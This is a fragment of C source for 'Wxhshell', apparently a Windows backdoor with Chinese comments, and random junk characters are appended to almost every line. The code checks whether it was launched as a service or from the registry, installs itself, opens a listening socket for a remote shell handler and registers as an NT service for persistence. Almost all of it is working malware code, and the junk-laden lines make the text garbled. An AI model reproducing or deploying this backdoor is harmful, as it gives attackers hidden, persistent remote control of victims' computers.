} PROCESS_BASIC_INFORMATION; <b*DQ:N
A?OQE9'
PROCNTQSIP NtQueryInformationProcess; &_8947
}"%N4(Kd
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M&M6;Ph
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~v6D#@%A
@BMx!r5kn
HANDLE hProcess; b"
[|:F>P
PROCESS_BASIC_INFORMATION pbi; P16~Qj
VuZr:-K/
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -yNlyHv9
if(NULL == hInst ) return 0; Z0r'S]fe
yEy6]f+>+
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \o3gKoL%
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m+$VVn3Z}
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <9b&<K:
XL/u#EA0<
if (!NtQueryInformationProcess) return 0; V>3X\)qu
)0k53-h&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }c:M^Ff
if(!hProcess) return 0; [dV L&k<P
bpa?C
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3=V&K-
F,CTZ~
CloseHandle(hProcess); %J-GKpo/S
>y+B
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f*
wx<
if(hProcess==NULL) return 0; fI|$K)K
p5*jzQ
HMODULE hMod; b|(:[nB
char procName[255]; |JsZJ9W+J
unsigned long cbNeeded; _,*r_D61S
KqP#6^ _
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )=(kBWM
RT8 ?7xFc
CloseHandle(hProcess); G^@5H/)
M )(DZ}
if(strstr(procName,"services")) return 1; // 以服务启动 Z4bNV?OH
bvOq5Q6
return 0; // 注册表启动 +
>!;i6|
} b\,+f n
tX~w{|k
// 主模块 /dIzY0<aO
int StartWxhshell(LPSTR lpCmdLine) qmP].sA
{ ]eV8b*d6
SOCKET wsl; K:WDl;8(d
BOOL val=TRUE; 62NsJ<#>
int port=0; b#o|6HkW
struct sockaddr_in door; ]/{)bpu
:rP=t ,
if(wscfg.ws_autoins) Install(); Zj
Z^_X3
iU:cW=W|M\
port=atoi(lpCmdLine); ?\n>
AC
\
B%+fw
if(port<=0) port=wscfg.ws_port; V28M lP
)O6>*wq
WSADATA data; z0Z%m@
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7-V/RChBm
!p/goqT~dY
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; .jK4?}]
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tT._VK]o&R
door.sin_family = AF_INET; Ew$C
;&9
door.sin_addr.s_addr = inet_addr("127.0.0.1"); *yGGBqd
door.sin_port = htons(port); 5`_SN74o
qcRs$-J
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f?)-}\[IR{
closesocket(wsl); @E8+C8'
return 1; >.D4co>
} [_:nHZb
)YI(/*+]
if(listen(wsl,2) == INVALID_SOCKET) { A?0Nm{O;3v
closesocket(wsl); O33`+UV"W
return 1; &9>vl*
} %]7d`/
Wxhshell(wsl); 2t1ZIyv3D
WSACleanup(); Kf-JcBsrT
7x8
yxE
return 0; |&4/n6;P$0
MfkN]\Jyw
} kSo"Ak!
DIUjn;>k8
// 以NT服务方式启动 o,wUc"CE
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7mfS*aCb
{ 'E.w=7z&
DWORD status = 0; f<6lf7qzC
DWORD specificError = 0xfffffff; /<BI46B\
*n"{J(Jt`
serviceStatus.dwServiceType = SERVICE_WIN32; d0 /#nz
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ll?X@S
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (Awm9|.{+
serviceStatus.dwWin32ExitCode = 0; G]aOHJ:.
serviceStatus.dwServiceSpecificExitCode = 0; t3^&;&[
serviceStatus.dwCheckPoint = 0; U`s{Jm
serviceStatus.dwWaitHint = 0; Xlt|nX~#;
%N_%JK\{@
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |gY^)9ei
if (hServiceStatusHandle==0) return; 8a"%0d#
xe$_aBU
status = GetLastError(); ft
Wv~Eh
if (status!=NO_ERROR) EB|}fz
{ S5EK~#-L[
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?Ss!e$jf
serviceStatus.dwCheckPoint = 0; ]J]h#ZHx
serviceStatus.dwWaitHint = 0; PmM3]xVzd
serviceStatus.dwWin32ExitCode = status; 2b8L\$1q
serviceStatus.dwServiceSpecificExitCode = specificError; QSf|nNT
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +qdEq_m
return; 3T0"" !Q
} f|oh.z_R
t.C5+^+%
serviceStatus.dwCurrentState = SERVICE_RUNNING; <
FAheE+
serviceStatus.dwCheckPoint = 0; {+ b7sA3
serviceStatus.dwWaitHint = 0; p{dj~ &v
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Mrb)
} ,"79P/C
XRQ4\bMA8
// 处理NT服务事件,比如:启动、停止 1yY0dOoLG)
VOID WINAPI NTServiceHandler(DWORD fdwControl) S`Rs82>
{ [=`q>|;pOv
switch(fdwControl) hK|Ul]qI
{ 8Xs8A.
case SERVICE_CONTROL_STOP: I1&aM}y{G
serviceStatus.dwWin32ExitCode = 0; MnW+25=N
serviceStatus.dwCurrentState = SERVICE_STOPPED; k$}fWR
serviceStatus.dwCheckPoint = 0; #A8sLkY
serviceStatus.dwWaitHint = 0; *}W_+qo"
{ 8*a&Jl
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `~q <N
} r9G>jiw8
return; L9#g)tf
8T
case SERVICE_CONTROL_PAUSE: jZrq{Z<
serviceStatus.dwCurrentState = SERVICE_PAUSED; ~WV"SaA)*U
break; ]')RMg zM*
case SERVICE_CONTROL_CONTINUE: IV)j1
serviceStatus.dwCurrentState = SERVICE_RUNNING; jmW7)jT8:
break; kB%JNMF{A
case SERVICE_CONTROL_INTERROGATE: y1L,0 ]
break; 7"D.L-H
}; )@bQu~Y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #:%/(j
} "U"Z 3*
|#N&